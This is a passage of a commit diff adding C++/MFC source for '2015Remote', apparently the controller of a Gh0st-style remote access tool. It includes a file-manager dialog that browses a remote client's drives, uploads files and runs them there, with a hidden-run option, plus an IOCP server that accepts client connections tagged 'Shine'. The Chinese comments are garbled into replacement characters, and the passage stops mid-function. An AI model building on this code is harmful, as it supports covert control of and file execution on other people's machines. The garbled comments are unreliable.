CFileCompress(CWnd* pParent = NULL,ULONG n = 0); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CFileCompress();
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_FILE_COMPRESS };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CString m_EditRarName;
|
||||
ULONG m_ulType;
|
||||
virtual BOOL OnInitDialog();
|
||||
};
|
||||
1454
server/2015Remote/FileManagerDlg.cpp
Normal file
190
server/2015Remote/FileManagerDlg.h
Normal file
@@ -0,0 +1,190 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
#include "TrueColorToolBar.h"
|
||||
|
||||
// CFileManagerDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
}FILE_SIZE;
|
||||
|
||||
typedef CList<CString, CString&> ListTemplate;
|
||||
class CFileManagerDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CFileManagerDlg)
|
||||
|
||||
public:
|
||||
CFileManagerDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CFileManagerDlg();
|
||||
|
||||
VOID CFileManagerDlg::FixedClientDiskDriverList();
|
||||
VOID CFileManagerDlg::FixedServerDiskDriverList();
|
||||
|
||||
CONTEXT_OBJECT* m_ContextObject;
|
||||
IOCPServer* m_iocpServer;
|
||||
CString m_strClientIP;
|
||||
BYTE m_szClientDiskDriverList[0x1000];
|
||||
char m_szServerDiskDriverList[0x1000];
|
||||
|
||||
int GetServerIconIndex(LPCTSTR szVolume, DWORD dwFileAttributes)
|
||||
{
|
||||
SHFILEINFO sfi;
|
||||
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
|
||||
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
|
||||
else
|
||||
dwFileAttributes |= FILE_ATTRIBUTE_NORMAL;
|
||||
|
||||
SHGetFileInfo
|
||||
(
|
||||
szVolume,
|
||||
dwFileAttributes,
|
||||
&sfi,
|
||||
sizeof(SHFILEINFO),
|
||||
SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES
|
||||
);
|
||||
|
||||
return sfi.iIcon;
|
||||
}
|
||||
|
||||
CString CFileManagerDlg::GetParentDirectory(CString strPath)
|
||||
{
|
||||
CString strCurrentPath = strPath;
|
||||
int iIndex = strCurrentPath.ReverseFind('\\');
|
||||
if (iIndex == -1)
|
||||
{
|
||||
return strCurrentPath;
|
||||
}
|
||||
CString strCurrentSubPath = strCurrentPath.Left(iIndex);
|
||||
iIndex = strCurrentSubPath.ReverseFind('\\');
|
||||
if (iIndex == -1)
|
||||
{
|
||||
strCurrentPath = "";
|
||||
return strCurrentPath;
|
||||
}
|
||||
strCurrentPath = strCurrentSubPath.Left(iIndex);
|
||||
|
||||
if(strCurrentPath.Right(1) != "\\")
|
||||
strCurrentPath += "\\";
|
||||
return strCurrentPath;
|
||||
}
|
||||
|
||||
void CFileManagerDlg::EnableControl(BOOL bEnable)
|
||||
{
|
||||
m_ControlList_Client.EnableWindow(bEnable);
|
||||
m_ControlList_Server.EnableWindow(bEnable);
|
||||
m_ComboBox_Server.EnableWindow(bEnable);
|
||||
m_ComboBox_Client.EnableWindow(bEnable);
|
||||
}
|
||||
|
||||
CTrueColorToolBar m_ToolBar_File_Server; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// CTrueColorToolBar m_wndToolBar_Remote;
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_FILE_MANAGER };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CListCtrl m_ControlList_Client;
|
||||
CListCtrl m_ControlList_Server;
|
||||
|
||||
CImageList* m_ImageList_Large;
|
||||
CImageList* m_ImageList_Small;
|
||||
afx_msg void OnClose();
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnNMDblclkListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
VOID CFileManagerDlg::FixedServerFileList(CString strDirectory="");
|
||||
VOID CFileManagerDlg::FixedClientFileList(BYTE *szBuffer, ULONG ulLength);
|
||||
|
||||
CString m_Server_File_Path;
|
||||
CString m_Client_File_Path;
|
||||
CComboBox m_ComboBox_Server;
|
||||
CComboBox m_ComboBox_Client;
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
afx_msg void OnCbnSelchangeComboServer();
|
||||
afx_msg void OnCbnDblclkComboServer();
|
||||
CStatic m_FileServerBarPos;
|
||||
CStatic m_FileClientBarPos;
|
||||
|
||||
afx_msg void OnIdtServerPrev();
|
||||
afx_msg void OnIdtServerNewFolder();
|
||||
afx_msg void OnIdtServerDelete();
|
||||
afx_msg void OnIdtServerStop();
|
||||
BOOL m_bIsStop;
|
||||
BOOL CFileManagerDlg::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
|
||||
BOOL CFileManagerDlg::DeleteDirectory(LPCTSTR strDirectoryFullPath) ;
|
||||
afx_msg void OnViewBigIcon();
|
||||
afx_msg void OnViewSmallIcon();
|
||||
afx_msg void OnViewDetail();
|
||||
afx_msg void OnViewList();
|
||||
afx_msg void OnNMDblclkListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
VOID CFileManagerDlg::GetClientFileList(CString strDirectory="");
|
||||
VOID CFileManagerDlg::OnReceiveComplete();
|
||||
afx_msg void OnLvnBegindragListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
|
||||
BOOL m_bDragging;
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
VOID CFileManagerDlg::DropItemOnList();
|
||||
|
||||
CListCtrl* m_DragControlList;
|
||||
CListCtrl* m_DropControlList;
|
||||
|
||||
HCURSOR m_hCursor;
|
||||
|
||||
ListTemplate m_Remote_Upload_Job;
|
||||
VOID CFileManagerDlg::OnCopyServerToClient();
|
||||
BOOL CFileManagerDlg::SendToClientJob();
|
||||
|
||||
CString m_strSourFileFullPath;
|
||||
CString m_strDestFileFullPath;
|
||||
__int64 m_OperatingFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ܴ<EFBFBD>С
|
||||
VOID CFileManagerDlg::SendFileData();
|
||||
__int64 m_ulCounter;
|
||||
VOID CFileManagerDlg::EndCopyServerToClient();
|
||||
|
||||
BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath) ;
|
||||
|
||||
CStatusBar m_StatusBar; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
||||
CProgressCtrl* m_ProgressCtrl;
|
||||
|
||||
void CFileManagerDlg::ShowProgress()
|
||||
{
|
||||
if ((int)m_ulCounter == -1)
|
||||
{
|
||||
m_ulCounter = m_OperatingFileLength;
|
||||
}
|
||||
|
||||
int iProgress = (float)(m_ulCounter * 100) / m_OperatingFileLength;
|
||||
m_ProgressCtrl->SetPos(iProgress);
|
||||
|
||||
|
||||
if (m_ulCounter == m_OperatingFileLength)
|
||||
{
|
||||
m_ulCounter = m_OperatingFileLength = 0;
|
||||
}
|
||||
}
|
||||
|
||||
VOID CFileManagerDlg::SendTransferMode();
|
||||
|
||||
ULONG m_ulTransferMode;
|
||||
|
||||
afx_msg void OnNMRClickListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnOperationServerRun();
|
||||
afx_msg void OnOperationRename();
|
||||
afx_msg void OnLvnEndlabeleditListServer(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnNMRClickListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnOperationClientShowRun();
|
||||
afx_msg void OnOperationClientHideRun();
|
||||
afx_msg void OnLvnEndlabeleditListClient(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnOperationCompress();
|
||||
|
||||
VOID CFileManagerDlg::ServerCompress(ULONG ulType);
|
||||
BOOL CFileManagerDlg::CompressFiles(PCSTR strRARFileFullPath,PSTR strString,ULONG ulType);
|
||||
};
|
||||
60
server/2015Remote/FileTransferModeDlg.cpp
Normal file
@@ -0,0 +1,60 @@
|
||||
// FileTransferModeDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "FileTransferModeDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CFileTransferModeDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog)
|
||||
|
||||
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent)
|
||||
: CDialog(CFileTransferModeDlg::IDD, pParent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CFileTransferModeDlg::~CFileTransferModeDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
||||
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_JUMP_ALL, OnEndDialog)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CFileTransferModeDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
VOID CFileTransferModeDlg::OnEndDialog(UINT id)
|
||||
{
|
||||
// TODO: Add your control notification handler code here
|
||||
EndDialog(id);
|
||||
}
|
||||
|
||||
BOOL CFileTransferModeDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
CString strTips;
|
||||
strTips.Format("˥<EFBFBD><EFBFBD> զ<><D5A6>.... \" %s \" ", m_strFileName);
|
||||
|
||||
for (int i = 0; i < strTips.GetLength(); i += 120)
|
||||
{
|
||||
strTips.Insert(i, "\n");
|
||||
i += 1;
|
||||
}
|
||||
|
||||
SetDlgItemText(IDC_TIP, strTips);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
25
server/2015Remote/FileTransferModeDlg.h
Normal file
@@ -0,0 +1,25 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CFileTransferModeDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CFileTransferModeDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CFileTransferModeDlg)
|
||||
|
||||
public:
|
||||
CFileTransferModeDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CFileTransferModeDlg();
|
||||
|
||||
CString m_strFileName;
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_TRANSMODE };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
afx_msg void OnEndDialog(UINT id);
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
};
|
||||
776
server/2015Remote/IOCPServer.cpp
Normal file
@@ -0,0 +1,776 @@
|
||||
#include "StdAfx.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "2015Remote.h"
|
||||
|
||||
#include <iostream>
|
||||
#include "zlib.h"
|
||||
#include "zconf.h"
|
||||
using namespace std;
|
||||
|
||||
CRITICAL_SECTION IOCPServer::m_cs = {0};
|
||||
|
||||
#define HUERISTIC_VALUE 2
|
||||
|
||||
#define SAFE_DELETE(p) if(p){ delete (p); (p) = NULL; }
|
||||
|
||||
IOCPServer::IOCPServer(void)
|
||||
{
|
||||
WSADATA wsaData;
|
||||
if (WSAStartup(MAKEWORD(2,2), &wsaData)!=0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
m_hCompletionPort = NULL;
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
m_hListenThread = INVALID_HANDLE_VALUE;
|
||||
|
||||
m_ulMaxConnections = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "MaxConnection");
|
||||
|
||||
if (m_ulMaxConnections==0)
|
||||
{
|
||||
m_ulMaxConnections = 100;
|
||||
}
|
||||
|
||||
InitializeCriticalSection(&m_cs);
|
||||
|
||||
m_ulWorkThreadCount = 0;
|
||||
|
||||
m_bTimeToKill = FALSE;
|
||||
|
||||
m_ulThreadPoolMin = 0;
|
||||
m_ulThreadPoolMax = 0;
|
||||
m_ulCPULowThreadsHold = 0;
|
||||
m_ulCPUHighThreadsHold = 0;
|
||||
m_ulCurrentThread = 0;
|
||||
m_ulBusyThread = 0;
|
||||
|
||||
m_ulKeepLiveTime = 0;
|
||||
|
||||
m_hKillEvent = NULL;
|
||||
|
||||
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
|
||||
|
||||
m_NotifyProc = NULL;
|
||||
m_OfflineProc = NULL;
|
||||
}
|
||||
|
||||
|
||||
IOCPServer::~IOCPServer(void)
|
||||
{
|
||||
m_bTimeToKill = TRUE;
|
||||
|
||||
Sleep(10);
|
||||
SetEvent(m_hKillEvent);
|
||||
|
||||
Sleep(10);
|
||||
|
||||
if (m_hKillEvent!=NULL)
|
||||
{
|
||||
CloseHandle(m_hKillEvent);
|
||||
}
|
||||
|
||||
if (m_sListenSocket!=INVALID_SOCKET)
|
||||
{
|
||||
closesocket(m_sListenSocket);
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
if (m_hCompletionPort!=INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(m_hCompletionPort);
|
||||
m_hCompletionPort = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
if (m_hListenEvent!=WSA_INVALID_EVENT)
|
||||
{
|
||||
CloseHandle(m_hListenEvent);
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
}
|
||||
|
||||
while (!m_ContextConnectionList.IsEmpty())
|
||||
{
|
||||
CONTEXT_OBJECT *ContextObject = m_ContextConnectionList.RemoveHead();
|
||||
delete ContextObject;
|
||||
}
|
||||
|
||||
while (!m_ContextFreePoolList.IsEmpty())
|
||||
{
|
||||
CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead();
|
||||
delete ContextObject;
|
||||
}
|
||||
|
||||
DeleteCriticalSection(&m_cs);
|
||||
m_ulWorkThreadCount = 0;
|
||||
|
||||
m_ulThreadPoolMin = 0;
|
||||
m_ulThreadPoolMax = 0;
|
||||
m_ulCPULowThreadsHold = 0;
|
||||
m_ulCPUHighThreadsHold = 0;
|
||||
m_ulCurrentThread = 0;
|
||||
m_ulBusyThread = 0;
|
||||
m_ulKeepLiveTime = 0;
|
||||
|
||||
WSACleanup();
|
||||
}
|
||||
|
||||
BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
|
||||
{
|
||||
m_NotifyProc = NotifyProc;
|
||||
m_OfflineProc = OffProc;
|
||||
m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
|
||||
|
||||
if (m_hKillEvent==NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_sListenSocket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
|
||||
if (m_sListenSocket == INVALID_SOCKET)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_hListenEvent = WSACreateEvent();
|
||||
|
||||
if (m_hListenEvent == WSA_INVALID_EVENT)
|
||||
{
|
||||
closesocket(m_sListenSocket);
|
||||
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
int iRet = WSAEventSelect(m_sListenSocket, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FD_ACCEPT<50><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hListenEvent,
|
||||
FD_ACCEPT);
|
||||
|
||||
if (iRet == SOCKET_ERROR)
|
||||
{
|
||||
closesocket(m_sListenSocket);
|
||||
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
WSACloseEvent(m_hListenEvent);
|
||||
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SOCKADDR_IN ServerAddr;
|
||||
ServerAddr.sin_port = htons(uPort);
|
||||
ServerAddr.sin_family = AF_INET;
|
||||
ServerAddr.sin_addr.s_addr = INADDR_ANY; //<2F><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BB>ֺ<EFBFBD><D6BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>bind
|
||||
iRet = bind(m_sListenSocket,
|
||||
(sockaddr*)&ServerAddr,
|
||||
sizeof(ServerAddr));
|
||||
|
||||
if (iRet == SOCKET_ERROR)
|
||||
{
|
||||
int a = GetLastError();
|
||||
closesocket(m_sListenSocket);
|
||||
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
WSACloseEvent(m_hListenEvent);
|
||||
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
iRet = listen(m_sListenSocket, SOMAXCONN);
|
||||
|
||||
if (iRet == SOCKET_ERROR)
|
||||
{
|
||||
closesocket(m_sListenSocket);
|
||||
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
WSACloseEvent(m_hListenEvent);
|
||||
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_hListenThread =
|
||||
(HANDLE)CreateThread(NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)ListenThreadProc,
|
||||
(void*)this, //<2F><>Thread<61>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>this <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա
|
||||
0,
|
||||
NULL);
|
||||
if (m_hListenThread==INVALID_HANDLE_VALUE)
|
||||
{
|
||||
closesocket(m_sListenSocket);
|
||||
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
WSACloseEvent(m_hListenEvent);
|
||||
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> 1 2
|
||||
InitializeIOCP();
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
//1<><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɶ˿<C9B6>
|
||||
//2<><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
BOOL IOCPServer::InitializeIOCP(VOID)
|
||||
{
|
||||
m_hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0 );
|
||||
if ( m_hCompletionPort == NULL )
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (m_hCompletionPort==INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SYSTEM_INFO SystemInfo;
|
||||
GetSystemInfo(&SystemInfo); //<2F><><EFBFBD><EFBFBD>PC<50><43><EFBFBD>м<EFBFBD><D0BC><EFBFBD>
|
||||
|
||||
m_ulThreadPoolMin = 1;
|
||||
m_ulThreadPoolMax = 16;
|
||||
m_ulCPULowThreadsHold = 10;
|
||||
m_ulCPUHighThreadsHold = 75;
|
||||
m_cpu.Init();
|
||||
|
||||
ULONG ulWorkThreadCount = m_ulThreadPoolMax;
|
||||
|
||||
HANDLE hWorkThread = NULL;
|
||||
for (int i=0; i<ulWorkThreadCount; i++ )
|
||||
{
|
||||
hWorkThread = (HANDLE)CreateThread(NULL, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>Ǵ<EFBFBD><C7B4><EFBFBD>Ͷ<EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD>ɶ˿<C9B6><CBBF>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)WorkThreadProc,
|
||||
(void*)this,
|
||||
0,
|
||||
NULL);
|
||||
if (hWorkThread == NULL )
|
||||
{
|
||||
CloseHandle(m_hCompletionPort);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_ulWorkThreadCount++;
|
||||
|
||||
CloseHandle(hWorkThread);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
|
||||
{
|
||||
IOCPServer* This = (IOCPServer*)(lParam);
|
||||
|
||||
HANDLE hCompletionPort = This->m_hCompletionPort;
|
||||
DWORD dwTrans = 0;
|
||||
|
||||
PCONTEXT_OBJECT ContextObject = NULL;
|
||||
LPOVERLAPPED Overlapped = NULL;
|
||||
OVERLAPPEDPLUS* OverlappedPlus = NULL;
|
||||
ULONG ulBusyThread = 0;
|
||||
BOOL bError = FALSE;
|
||||
|
||||
InterlockedIncrement(&This->m_ulCurrentThread);
|
||||
InterlockedIncrement(&This->m_ulBusyThread);
|
||||
|
||||
while (This->m_bTimeToKill==FALSE)
|
||||
{
|
||||
InterlockedDecrement(&This->m_ulBusyThread);
|
||||
BOOL bOk = GetQueuedCompletionStatus(
|
||||
hCompletionPort,
|
||||
&dwTrans,
|
||||
(LPDWORD)&ContextObject,
|
||||
&Overlapped,INFINITE);
|
||||
|
||||
DWORD dwIOError = GetLastError();
|
||||
|
||||
OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol);
|
||||
|
||||
ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1
|
||||
if ( !bOk && dwIOError != WAIT_TIMEOUT ) //<2F><><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD><EFBFBD><D7BB>Ʒ<EFBFBD><C6B7><EFBFBD><EFBFBD>˹ر<CBB9>
|
||||
{
|
||||
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
|
||||
{
|
||||
This->RemoveStaleContext(ContextObject);
|
||||
}
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
continue;
|
||||
}
|
||||
if (!bError)
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>µ<EFBFBD><C2B5>̵߳<DFB3><CCB5>̵߳<DFB3><CCB5>̳߳<DFB3>
|
||||
if (ulBusyThread == This->m_ulCurrentThread)
|
||||
{
|
||||
|
||||
if (ulBusyThread < This->m_ulThreadPoolMax)
|
||||
{
|
||||
if (ContextObject != NULL)
|
||||
{
|
||||
HANDLE hThread = (HANDLE)CreateThread(NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)WorkThreadProc,
|
||||
(void*)This,
|
||||
0,
|
||||
NULL);
|
||||
|
||||
InterlockedIncrement(&This->m_ulWorkThreadCount);
|
||||
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!bOk && dwIOError == WAIT_TIMEOUT)
|
||||
{
|
||||
if (ContextObject == NULL)
|
||||
{
|
||||
if (This->m_ulCurrentThread > This->m_ulThreadPoolMin)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
bError = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!bError)
|
||||
{
|
||||
if(bOk && OverlappedPlus!=NULL && ContextObject!=NULL)
|
||||
{
|
||||
try
|
||||
{
|
||||
This->HandleIO(OverlappedPlus->m_ioType, ContextObject, dwTrans);
|
||||
|
||||
ContextObject = NULL;
|
||||
}
|
||||
catch (...) {}
|
||||
}
|
||||
}
|
||||
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
}
|
||||
SAFE_DELETE(OverlappedPlus);
|
||||
|
||||
InterlockedDecrement(&This->m_ulWorkThreadCount);
|
||||
InterlockedDecrement(&This->m_ulCurrentThread);
|
||||
InterlockedDecrement(&This->m_ulBusyThread);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans) //<2F>ڹ<EFBFBD><DAB9><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (IOInitialize == PacketFlags)
|
||||
{
|
||||
bRet = OnClientInitializing(ContextObject, dwTrans);
|
||||
}
|
||||
|
||||
if (IORead==PacketFlags) //WsaResv
|
||||
{
|
||||
bRet = OnClientReceiving(ContextObject,dwTrans);
|
||||
}
|
||||
|
||||
if (IOWrite==PacketFlags) //WsaSend
|
||||
{
|
||||
bRet = OnClientPostSending(ContextObject,dwTrans);
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
|
||||
BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans)
|
||||
{
|
||||
CLock cs(m_cs);
|
||||
try
|
||||
{
|
||||
if (dwTrans == 0) //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
{
|
||||
RemoveStaleContext(ContextObject);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ContextObject->InCompressedBuffer.WriteBuffer((PBYTE)ContextObject->szBuffer,dwTrans); //<2F><><EFBFBD><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>wsabuff 8192
|
||||
|
||||
while (ContextObject->InCompressedBuffer.GetBufferLength() > HDR_LENGTH) //<2F>鿴<EFBFBD><E9BFB4><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
char szPacketFlag[FLAG_LENGTH]= {0};
|
||||
|
||||
CopyMemory(szPacketFlag, ContextObject->InCompressedBuffer.GetBuffer(),FLAG_LENGTH);
|
||||
|
||||
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||
{
|
||||
throw "bad Buffer";
|
||||
}
|
||||
|
||||
ULONG ulPackTotalLength = 0;
|
||||
CopyMemory(&ulPackTotalLength, ContextObject->InCompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));//Shine[50][kdjfkdjfkj]
|
||||
|
||||
